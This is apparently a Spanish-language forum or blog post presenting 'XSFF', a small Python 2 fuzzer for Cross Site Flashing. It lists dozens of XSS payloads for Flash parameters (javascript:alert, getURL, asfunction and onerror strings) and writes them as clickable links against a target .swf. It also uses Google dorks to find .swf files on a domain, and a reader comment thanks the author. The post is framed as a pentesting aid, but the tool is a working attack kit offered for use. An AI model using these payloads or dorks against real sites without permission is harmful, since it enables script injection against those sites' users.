Les vengo a presentar esta t00lsita que hice en python, es un pequeño fuzzer de vectores de ataque de Cross Site Flashing... Debido al Cross Site Flashing entré al HoF de Apple y al de Microsoft por segunda vez en fin una pequeña intro...
A los .swf como a los php se les puede mandar variables al estilo get:
http://test.com/file.swf?var=1337
muchas veces cuando ponen un .swf en una página web le envian estas variables para asignarle urls o colores o cosas asi... un pequeño ejemplo de la web de owasp:
<object width="550" height="400" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,124,0">
<param name="movie" value="somefilename.swf">
<param name="FlashVars" value="var1=val1&var2=val2">
<embed src="somefilename.swf" width="550" height="400" FlashVars="var1=val1&var2=val2">
</embed>
</object>
Ahora yo les voy a mostrar otro ejemplo el básico de JWplayer...
jwplayer("myElement").setup({
file: "myVideo.mp4",
skin: "bekle"
});
Como ven dice file: myvideo skin: bekle ponerlo en el código fuente de esa manera es igual que ir a:
jwplayer.swf?file=myVideo.mp4&skin=bekle
entonces como funciona la cosa bien fácil existen códigos vulnerables en los .swf también que permiten ejecución de codigo Script en ellos... pero obviamente la pregunta es:
¿Como veo el código fuente?
Hay herramientas que lo desencriptan pero justamente por eso he hecho el pequeño fuzzer la mayoría de Cross Site Flahing ocurren de la misma manera con las mismas variables o alguien ya encontró la vulnerabilidad y ya hay un exploit predeterminado... asi que les dejo el fuzzer para que lo usen ustedes :)
Como es para usar el fuzzer bien fácil:
primero descárguenlo El código:
#!usr/bin/python
import sys
import webbrowser
END = "\033[0m"
blue = "\033[0;34m"
red = "\033[1;91m"
payloads = ['#javascript:alert(/XSFF/)','#http://seguridadblanca.in','#getURL(javascript:alert(/XSFF/))','#getURL(http://seguridadblanca.in)','#getURL,javascript:alert(/XSFF/)','#getURL,http://seguridadblanca.in','?javascript:alert(/XSFF/)','?http://seguridadblanca.in','?getURL(javascript:alert(/XSFF/))','?getURL(http://seguridadblanca.in)','?getURL,javascript:alert(/XSFF/)','?getURL,http://seguridadblanca.in','?clickTAG=javascript:alert(/XSFF/)','?clickTag=javascript:alert(/XSFF/)','?clickTag=http://seguridadblanca.in','?clickTAG=http://seguridadblanca.in','?url=javascript:alert(/XSFF/)','?url=http://seguridadblanca.in','?uri=javascript:alert(/XSFF/)','?uri=http://seguridadblanca.in','?URL=javascript:alert(/XSFF/)','?URL=http://seguridadblanca.in','?URI=javascript:alert(/XSFF/)','?URI=http://seguridadblanca.in','?baseurl=asfunction:getURL,javascript:alert(1337)//",','?base=javascript:alert(/XSFF/)','?base=http://seguridadblanca.in','?debug=alert(/XSFF/)','?movieName=%22]);}catch(e){}if(!self.a)self.a=!alert(/XSFF/);//','?skinName=asfunction:getURL,javascript:alert(1337)//','?onend=javascript:alert(1337)//','?imageURL=javascript:alert(/XSFF/)','?imageURL=" onerror=prompt(/XSFF/)','?callback=javascript:alert(/XSFF/)','?callback=http://seguridadblanca.in','?page=javascript:alert(/XSFF/)','?page=http://seguridadblanca.in','?buyNowUrl=javacript:alert(/XSFF/)','?id=0\%22))}catch(e){alert(1337)}//']
def helpyeah():
print "__ __ __ ___ ___"
print "\ V // _|| __|| __|"
print " ) ( \_ \| _| | _| "
print "/_n_\|__/|_| |_| \n"
print red + "Hi bro/sis :) Usage is: " + sys.argv[0] + " Option \n \n"
print "Print Options:\n"
print "dorksite - This Option will search for .swf files in the domain"
print "flashsite - Will Fuzz for XSF" + END
def checkoption():
if sys.argv[1].lower() == "dorksite":
dorksite()
elif sys.argv[1].lower() == "flashsite":
xsfyeah()
else:
helpyeah()
def xsfyeah():
uri = raw_input("Input the URL: Ex. http://seguridadblanca.in/vuln.swf\n")
fout = open("xsff.html", "w")
fout.write("<center><h1>Cros Site Flashing Fuzzer</h1> By <a href=\"http://twitter.com/seguridadblanca\">Dedalo</a></center><br />")
for url in payloads:
op = "<a href=\"" + uri + url +"\">" + url + "</a><br />"
fout.write(op)
print blue + "Check xsff.html for clicking fuzz!!"
print "Thanks for using XSFF"
print ""
print "__ __ __ ___ ___"
print "\ V // _|| __|| __|"
print " ) ( \_ \| _| | _| "
print "/_n_\|__/|_| |_| " + END
def dorksite():
domain = raw_input("Input the domain: Ex. seguridadblanca.in\n")
d1 = "site:" + domain + " filetype:swf"
d2 = "site:" + domain + " inurl:player.swf"
webbrowser.open_new_tab('https://www.google.com.pe/search?q=' + d1)
webbrowser.open_new_tab('https://www.google.com.pe/search?q=' + d2)
if len(sys.argv) < 2:
helpyeah()
else:
checkoption()
Segundo no necesitan tener nada instalado mas que python... ahora...
En su command van a la carpeta donde está el xsff.py y ponen
python xsff.py option
¿Cómo encontrar los vulnerable.swf? suelo hacer esta búsqueda:
site:test.com filetype:swf --> en Google.
site:test.com inurl:player.swf --> en Google.
site:test.com inurl:swfupload.swf --> en Google.
luego pues el .swf digamos encontramos http://test.com/testing/swfupload.swf
vamos a nuestra consola y le damos:
python xsff.py flashsite y luego pegar http://test.com/testing/swfupload.swf
Bueno un PoC que encontré buscando con el Cross Site Flashing Fuzzer:
Sobre todo muchas veces los pentesters no prueban Cross Site Flashing en sus clientes, con el fuzzer los ayudo para que aunque sea descarten esta vulnerabilidad como una posibilidad.
Link de Interés:
https://docs.google.com/document/d/1PGnYYCJL_xv0l9HGzjbFUVrLS7FAtBat1E-8AOY3qho/edit
La demo es con una versión anterior del script ahora he mejorado la herramienta o bueno le he aumentado una pequeña opción pones dorksite y automáticamente busca dorks de .swf para ver si encuentran alguno por google.
Post Original: Click Aquí (http://dedalo.seguridadblanca.in/2013/08/xsff-cross-site-flashing-fuzzer.html)
Saludos,
Dedalo!
uuuuh!!!! curiosamente estaba buscando algo parecido...me has ahorrado tiempo...lo pruebo hoy sin falta!!!! gracias!!!!